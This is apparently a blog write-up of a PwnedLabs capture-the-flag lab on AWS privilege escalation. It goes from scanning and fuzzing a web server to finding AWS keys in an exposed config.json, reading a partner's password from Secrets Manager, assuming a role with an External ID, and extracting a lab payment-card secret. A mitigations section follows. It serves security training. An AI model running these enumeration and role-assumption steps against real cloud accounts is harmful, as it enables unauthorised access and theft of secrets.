PwnedLabs - Assume Privileged Role with External ID
🧭 Objective
The goal of this lab is to:
- Enumerate a target web server to find exposed AWS credentials
- Use those credentials to pivot through AWS IAM
- Discover a third-party IAM role protected by an External ID
- Assume that privileged role using the External ID
- Extract a sensitive secret from AWS Secrets Manager (flag)
Writeup is modified with AI to sound better and avoid gramatical(grammatical) mistake .
| Tool | Purpose |
|---|
nmap | Port scanning the target IP |
feroxbuster | Web directory/file fuzzing |
aws cli | AWS API interaction |
aws-enumerator | AWS credential enumeration helper |
| AWS CloudShell | Browser-based AWS CLI session as ext-cost-user |
📌 Lab Environment
| Item | Value |
|---|
| Target IP | 52.0.51.234 |
| AWS Account ID | 427648302155 |
| Region | us-east-1 |
| Working Directory | ~/Desktop/PwnedLabs/assume-privileged-role-with-external-ID |
🔍 Phase 1 - Reconnaissance (Port Scanning)
Command
1
| nmap -Pn 52.0.51.234 --min-rate=1000
|
Breakdown
| Flag | Meaning |
|---|
-Pn | Skip host discovery (treat host as up) - useful when ICMP is blocked |
52.0.51.234 | Target IP (AWS EC2 instance) |
--min-rate=1000 | Send at least 1000 packets/sec for faster scanning |
Result
1
2
| PORT STATE SERVICE
80/tcp open http
|
Interpretation: Only port 80 (HTTP) is open. This is a web server. No SSH, no RDP - our attack surface is the web application.
🔍 Phase 2 - Web Fuzzing with Feroxbuster
Command
1
| feroxbuster --url http://52.0.51.234/ -x conf,txt,json,xml,yml,yaml,env
|
Breakdown
| Flag | Meaning |
|---|
--url | Target URL to fuzz |
-x conf,txt,json,xml,yml,yaml,env | Also look for files with these extensions (beyond directories) |
| Default wordlist | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt |
| Default threads | 50 concurrent threads |
| Recursion depth | 4 (will go 4 directories deep) |
Key Finding
1
| 200 GET 20l 36w 832c http://52.0.51.234/config.json
|
A config.json file was found in the web root - publicly accessible with no authentication.
Navigating to http://52.0.51.234/config.json revealed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| {
"aws": {
"accessKeyID": "AKIA*********",
"secretAccessKey": "chMbGqbK************88",
"region": "us-east-1",
"bucket": "hl-data-download",
"endpoint": "https://s3.amazonaws.com"
},
"serverSettings": {
"port": 443,
"timeout": 18000000
},
"oauthSettings": {
"authorizationURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize",
"tokenURL": "https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens",
"clientID": "1012aBcD3456EfGh",
"clientSecret": "aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j",
"callbackURL": "https://portal.huge-logistics/callback",
"userProfileURL": "https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me"
}
}
|
Critical credentials found:
accessKeyID: AKIA**********888secretAccessKey: chMbGq***************- S3 bucket name:
hl-data-download
Note: The AKIA prefix in the Access Key ID means this is a long-term IAM user key (not a temporary role-based key). Long-term keys are more dangerous because they don’t expire.
⚙️ Phase 4 - Configuring AWS CLI Profile
Command
1
| aws configure --profile assume
|
1
2
3
4
| AWS Access Key ID [None]: AKIAW**************
AWS Secret Access Key [None]: chMbGqbK*************8
Default region name [None]: us-east-1
Default output format [None]: json
|
Breakdown
| Parameter | Meaning |
|---|
--profile assume | Saves credentials under a named profile called assume so we can switch between identities |
AWS Access Key ID | The public half of the IAM credential pair |
AWS Secret Access Key | The private half - used to sign API requests |
region | All subsequent API calls default to us-east-1 |
output format | JSON makes results easier to parse/read |
🪪 Phase 5 - Verify Identity (Who Are We?)
Command
1
| aws sts get-caller-identity --profile assume
|
Breakdown
| Component | Meaning |
|---|
sts | AWS Security Token Service - handles identity and temp credentials |
get-caller-identity | Returns the IAM identity associated with the current credentials |
--profile assume | Use the named profile we just configured |
Result
1
2
3
4
5
| {
"UserId": "AIDAWHEOTHRF7MLFMRGYH",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/data-bot"
}
|
Interpretation: We are authenticated as the IAM user data-bot in account 427648302155. This is the account belonging to Huge Logistics.
🪣 Phase 6 - Enumerate S3 Bucket
Command
1
| aws s3 ls hl-data-download --profile assume
|
Breakdown
| Component | Meaning |
|---|
s3 ls | List objects in an S3 bucket |
hl-data-download | Bucket name from the config.json |
--profile assume | Use the data-bot credentials |
Result
100 transaction log CSV files (LOG-1-TRANSACT.csv through LOG-100-TRANSACT.csv), each 5200 bytes. This confirms data-bot has read access to the S3 bucket. The files are transaction logs for Huge Logistics, but there’s nothing directly exploitable here. We need to keep enumerating.
🔬 Phase 7 - Setting Up aws-enumerator
This tool creates a .env file with the current credentials for easy reuse:
1
2
3
4
| AWS_REGION=us-east-1
AWS_ACCESS_KEY_ID=AKIAWH***********
AWS_SECRET_ACCESS_KEY=chMbGqb*****************
AWS_SESSION_TOKEN=
|
This is useful for tools that read environment variables instead of AWS profiles.
🔐 Phase 8 - Enumerate Secrets Manager
Command
1
| aws secretsmanager list-secrets --profile assume
|
Breakdown
| Component | Meaning |
|---|
secretsmanager | AWS service for storing sensitive values (passwords, API keys, etc.) |
list-secrets | List all secrets visible to the current identity |
--profile assume | Use data-bot credentials |
Result - Four Secrets Found
| Secret Name | Description |
|---|
employee-database-admin | Admin access to MySQL employee database |
employee-database | Standard access to MySQL employee database |
ext/cost-optimization | Credentials for external cost optimization partner |
billing/hl-default-payment | Default payment card for Huge Logistics |
Trying to Access Secrets
Attempt 1 - employee-database-admin (FAILED)
1
| aws secretsmanager get-secret-value --secret-id employee-database-admin --profile assume
|
1
2
| An error occurred (AccessDeniedException): User: arn:aws:iam::427648302155:user/data-bot
is not authorized to perform: secretsmanager:GetSecretValue on resource: employee-database-admin
|
data-bot doesn’t have permission to read this secret.
Attempt 2 - ext/cost-optimization (SUCCESS ✅)
1
| aws secretsmanager get-secret-value --secret-id ext/cost-optimization --profile assume
|
1
2
3
4
5
| {
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
"Name": "ext/cost-optimization",
"SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"K33pOurCostsOptimized!!!!\"}"
}
|
New credentials discovered:
| Field | Value |
|---|
| Username | ext-cost-user |
| Password | K33pO***********8 |
| Account ID | 427648302155 |
Why did this work? The data-bot user had specific IAM permissions allowing it to read the ext/cost-optimization secret. This is a privilege misconfiguration - data-bot shouldn’t need access to a third-party partner’s credentials.
☁️ Phase 9 - Login to AWS Console as ext-cost-user
Using the credentials found:
- Account ID:
427648302155 - Username:
ext-cost-user - Password:
K33pO**********8
Log into the AWS Console at: https://signin.aws.amazon.com/
Once logged in, open AWS CloudShell (browser-based terminal). This gives us a shell session running as ext-cost-user.
Why CloudShell? CloudShell automatically injects short-lived credentials for the logged-in user. This avoids needing to manually configure the CLI and bypasses any IP-based restrictions.
🔍 Phase 10 - Enumerate ext-cost-user from CloudShell
Verify Identity
1
2
3
4
| whoami
# cloudshell-user
aws sts get-caller-identity
|
1
2
3
4
5
| {
"UserId": "AIDAWHEOTHRFTNCWM7FHT",
"Account": "427648302155",
"Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}
|
We are now operating as ext-cost-user.
List Attached Policies
1
| aws iam list-attached-user-policies --user-name ext-cost-user
|
1
2
3
4
5
6
7
8
9
10
11
12
| {
"AttachedPolicies": [
{
"PolicyName": "ExtCloudShell",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
},
{
"PolicyName": "ExtPolicyTest",
"PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
}
]
}
|
Two policies attached. Let’s dig into ExtPolicyTest.
Get ExtPolicyTest Details
1
| aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
|
Key finding: Default version is v4.
1
| aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| {
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:GetUserPolicy",
"iam:ListAttachedRolePolicies",
"iam:ListAttachedUserPolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::427648302155:policy/ExtPolicyTest",
"arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"arn:aws:iam::427648302155:policy/Payment",
"arn:aws:iam::427648302155:user/ext-cost-user"
]
}
]
}
|
Interpretation: ext-cost-user can inspect IAM roles and policies, specifically scoped to:
- The
ExternalCostOpimizeAccess role → this is our target - The
Payment policy - Their own user
This tells us exactly where to look next.
🎯 Phase 11 - Inspect the Target Role
Command
1
| aws iam get-role --role-name ExternalCostOpimizeAccess
|
Result - Trust Policy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| {
"Role": {
"RoleName": "ExternalCostOpimizeAccess",
"RoleId": "AROAWHEOTHRFZP3NQR7WN",
"Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
"AssumeRolePolicyDocument": {
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "37911"
}
}
}
]
},
"Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources"
}
}
|
Critical findings:
| Field | Value | Meaning |
|---|
Principal | ext-cost-user | Only this user can assume this role |
Action | sts:AssumeRole | The action that must be called |
Condition | sts:ExternalId = "37911" | A secret shared token required to assume the role |
What is an External ID? It’s a condition on the role trust policy designed to prevent the Confused Deputy Problem. When a third-party vendor needs to assume a role in your account, you give them an External ID that only they should know. Without it, even if someone has the role ARN, they can’t assume the role.
🔑 Phase 12 - Enumerate the Payment Policy
1
| aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
|
1
2
3
4
5
6
7
8
| {
"AttachedPolicies": [
{
"PolicyName": "Payment",
"PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
}
]
}
|
1
| aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| {
"Statement": [
{
"Effect": "Allow",
"Action": [
"secretsmanager:GetSecretValue",
"secretsmanager:DescribeSecret",
"secretsmanager:ListSecretVersionIds"
],
"Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
},
{
"Effect": "Allow",
"Action": "secretsmanager:ListSecrets",
"Resource": "*"
}
]
}
|
Interpretation: If we can assume ExternalCostOpimizeAccess, we will have permission to read the billing/hl-default-payment secret - which contains payment card details.
💥 Phase 13 - Assume the Role (Without External ID - FAIL)
Command
1
2
3
| aws sts assume-role \
--role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess \
--role-session-name ExternalCostOpimizeAccess
|
Result
1
2
3
| aws: [ERROR]: An error occurred (AccessDenied) when calling the AssumeRole operation:
User: arn:aws:iam::427648302155:user/ext-cost-user is not authorized to perform:
sts:AssumeRole on resource: arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess
|
Why did it fail? The role trust policy has a Condition requiring sts:ExternalId = "37911". Without it, AWS rejects the request outright.
💥 Phase 14 - Assume the Role (With External ID - SUCCESS ✅)
Command
1
2
3
4
| aws sts assume-role \
--role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess \
--role-session-name ExternalCostOpimizeAccess \
--external-id 37911
|
Breakdown
| Parameter | Meaning |
|---|
--role-arn | The ARN of the role we want to assume |
--role-session-name | A name for this session (logged in CloudTrail) - can be any string |
--external-id 37911 | The shared secret required by the trust policy condition |
Result
1
2
3
4
5
6
7
8
9
10
11
12
| {
"Credentials": {
"AccessKeyId": "ASIAW*********8",
"SecretAccessKey": "Lo0zIU6Kzp9FR*****************888888",
"SessionToken": "IQoJb3JpZ2luX2VjEHUaCXVzLWVhc3QtMSJH...[truncated]",
"Expiration": "2026-04-11T05:08:22+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
"Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
}
}
|
Note: The ASIA prefix in AccessKeyId means these are temporary/session credentials - they expire (in this case after 1 hour). We must use all three values: AccessKeyId, SecretAccessKey, and SessionToken.
Back on Kali, configure a new AWS profile with the temporary credentials:
1
2
3
4
5
| aws configure --profile assume-new
# Enter AccessKeyId and SecretAccessKey
# Then manually set the session token:
aws configure set aws_session_token "IQoJb3JpZ2luX2VjEHUa..." --profile assume-new
|
Verify the New Identity
1
| aws sts get-caller-identity --profile assume-new
|
1
2
3
4
5
| {
"UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOpimizeAccess",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOpimizeAccess"
}
|
We are now operating as the ExternalCostOpimizeAccess role!
Command
1
| aws secretsmanager get-secret-value --secret-id billing/hl-default-payment --profile assume-new
|
Breakdown
| Component | Meaning |
|---|
secretsmanager get-secret-value | Retrieve the plaintext value of a secret |
--secret-id billing/hl-default-payment | The target secret (we found this ARN in the Payment policy) |
--profile assume-new | Use the assumed role credentials |
Result 🎯
1
2
3
4
5
6
7
8
9
10
11
12
13
| {
"ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
"Name": "billing/hl-default-payment",
"VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
"SecretString": "{
\"Card Brand\": \"VISA\",
\"Card Number\": \"4180-5677-2810-4227\",
\"Holder Name\": \"Michael Hayes\",
\"CVV/CVV2\": \"839\",
\"Card Expiry\": \"5/2026\",
\"Flag\": \"681315*************\"
}"
}
|
🗺️ Full Attack Chain Summary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| [Web Server 52.0.51.234]
│
▼ feroxbuster discovers
[/config.json - AWS keys for 'data-bot']
│
▼ aws configure --profile assume
[data-bot IAM User]
│
▼ secretsmanager:GetSecretValue on ext/cost-optimization
[ext-cost-user credentials: K33pOurCo*********]
│
▼ AWS Console login → CloudShell
[ext-cost-user session]
│
▼ iam:GetRole on ExternalCostOpimizeAccess
[Discovered External ID: 37911]
│
▼ sts:AssumeRole --external-id 37911
[ExternalCostOpimizeAccess Role - temporary credentials]
│
▼ secretsmanager:GetSecretValue on billing/hl-default-payment
[FLAG: 6813***********]
|
🛡️ Defense & Mitigations
1. Never Store Credentials in the Web Root
config.json was served publicly from the HTTP root. Configuration files containing secrets must never be placed in web-accessible directories. Use environment variables, AWS Parameter Store, or IAM instance roles instead.
2. Apply Least Privilege to IAM Users
data-bot had no business reason to access ext/cost-optimization secrets. IAM policies should be scoped to only what each identity needs. Regularly audit with IAM Access Analyzer.
3. Use GUIDs for External IDs - Not Sequential Numbers
The External ID 37911 is a simple numeric value that could be guessed or brute-forced. In production, External IDs should be UUIDs (e.g., a8f3d2b1-4c7e-4f9a-bc12-3d8e5f6a7b9c) - unguessable and unique per partner.
4. Separate Concerns Between IAM Identities
The data-bot user and ext-cost-user serve completely different purposes. There was no justification for data-bot to have a path to ext-cost-user’s credentials. In AWS (like AD), lateral movement exploits chains of excessive privilege - minimize those chains.
5. Rotate Long-Term IAM Keys
The data-bot credentials (AKIA...) were long-term static keys. Prefer IAM roles with instance profiles (for EC2) or OIDC federation to eliminate long-lived key material entirely.
6. Enable CloudTrail + GuardDuty
Any sts:AssumeRole call from an unusual source or with mismatched session names should trigger an alert. GuardDuty can detect credential exfiltration and anomalous API calls.
📚 Key Concepts Learned
| Concept | Explanation |
|---|
| External ID | A condition on a role trust policy to prevent Confused Deputy attacks. Required by third-party cross-account roles. |
| Confused Deputy | When a less-privileged service is tricked into acting on behalf of a more privileged caller. External IDs prevent this. |
| AKIA vs ASIA keys | AKIA = long-term IAM user key. ASIA = short-term STS session key (requires session token). |
| IAM Privilege Escalation | Moving from one identity to another with greater permissions via IAM misconfigurations. |
| Secrets Manager | AWS service storing encrypted secrets. Access is controlled via IAM - if you have the right role, you can read any secret it’s permissioned for. |
✅ Lab Mindmap
# Final Thoughts
I hope this blog continues to be helpful in your learning journey!. If you find this blog helpful, I’d love to hear your thoughts ; my inbox is always open for feedback. Please excuse any typos, and feel free to point them out so I can correct them. Thanks for understanding and happy learning!. You can contact me on Linkedin and Twitter
linkdin
Twitter